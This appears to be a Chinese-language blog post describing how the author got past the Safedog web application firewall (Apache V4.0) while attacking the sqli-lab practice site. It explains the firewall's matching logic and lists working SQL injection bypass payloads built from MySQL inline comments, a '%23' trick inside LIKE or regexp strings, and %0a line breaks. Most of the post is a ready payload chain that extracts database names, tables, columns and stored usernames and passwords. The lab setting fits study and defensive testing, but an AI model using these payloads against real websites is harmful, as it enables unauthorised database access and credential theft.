前言
在記憶裡上次繞安全狗還是在上次，開開心心把自己之前繞過狗的payload拿出來，發現全部被攔截了，事情一下子就嚴肅起來了，這就開整。
環境
本次環境如下sqli-lab的sql注入靶場
網站安全狗APACHE版V4.0版本的最高防護等級
繞過方法
首先先來分析分析以前以前繞過的Payload
-1' union/*!10440*/select 1,2,3--+其中這裡的10440數字經過fuzz可以替換的有如下
10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等但是在更新後的安全狗後這些payload已經全部被攔截
到這就不得不提提安全狗之前的匹配規則了，我們單獨union不會被攔截
單獨select也不會被攔截
但是union和select放一起組合就會被匹配出來，然後被安全狗所攔截
基於這個特性，我們利用之前的payload
-1' union/*!10440*/select 1,2,3--+是可以繞過老版本的安全狗的，這裡在union和select中間加入了一個/\*!10440\*/，眾所周知在mysql中/\*!...\*/不是註釋，mysql為了保持相容，它把一些特有的僅在mysql上用的語句放在/\*!...\*/中，這樣這些語句如果在其他資料庫中是不會被執行，但在mysql中它會執行
所以union/\*!10440\*/select等價於union select,且繞過了安全狗對union和select字元一起組合的檢測
但是安全狗更新之後，所有的payload都已經失效，那麼我們猜測一下，安全狗更新後是不是匹配union和select之間所有的字元，匹配到之後用空字元替換，再檢測是否存在union select組合，為了驗證這個猜測我們對我們的payload進行fuzz驗證一下
跑了一些特殊的字元發現都被攔截
但是唯獨有一個符號沒有被返回的length長度不一樣
按我們看看這個'#'會擦出什麼愛情的火花
我們利用如下語句
?id=-1' union/*!test01#test02*/select 1,2,3--+
此處我們搞清楚一個流程，我們的語句傳送過去，首先接收安全狗檢測，安全狗檢測到'#'號，所以'\#'後面的都會被截斷拋棄，所以安全狗只能匹配到'\#'前的union，但是沒匹配到'\#'後的select，所以通過安全狗。在通過安全狗後我們的語句被資料庫接收，資料庫此處處理過程和安全狗處理流程一樣，都是隻能匹配到'\#'前的union，但是沒匹配到'\#'後的select，最終導致語句不完整導致最後的報錯。
說到這裡我們究竟要怎麼去繞過這個可惡的安全狗呢，我們想象這麼一個場景，首先我們的'\#'被安全狗識別，但是在我們的SQL語句中並不識別這個'\#'，這樣我們就可以達到繞過安全狗而且保持正確的SQL語句來實現我麼的注入。
我們來看下下面兩語句
SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;
此處SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出來一個空表
所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相當於select * FROM number；
該語句是存在一個LIKE "[%23]"，也正是這個LIKE "[%23]"讓我們的SELECT * FROM number WHERE home_id =1成為一個空表。
那麼這個語句有什麼用的，可以發現我們的LIKE "[%23]"中有一個%23，眾所周知\#的url編碼是%23，那麼這條語句帶入到安全狗中，安全狗會不會識別這個\#呢，帶著這樣的猜想我們構造如下payload。
-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
嗚嗚嗚，還是被攔截了，吹牛逼吹了這麼久，白吹了。
但是我這種陽光、帥氣、善解人意且堅持不懈的小夥子會這麼容易就放棄嗎，顯然不會，後面猜測是/\*!10440union select\*/中的union select被檢測出來了，所以在union select中間下了點功夫，最終payload如下
-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+奈何無文化，一句臥槽走天下。
最後總結下安全狗的檢測機制
首先整體語句做一個檢測，這個檢測也是最強最牛X的
'\#'後的語句雖然被截斷，但截斷之後並不是和我們最初想的那樣完全不檢測，'\#'截斷的語句還是會被檢測，只是檢測規則相比第一次不同且相比第一次檢測強度相比較弱，所以我們可以對其進行繞過。
當然除了like關鍵字，我們還可以使用如下payload
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+知道了這個特性接下來就，那就用這一招打過天下無敵手
爆資料庫名和使用者名稱
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+
爆表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+
爆欄位
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+
爆欄位中的值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+總結
1、內聯yyds
2、在一些被攔截的地方多用/\*%23\*/和/\*!10440%0a\*/，有奇效。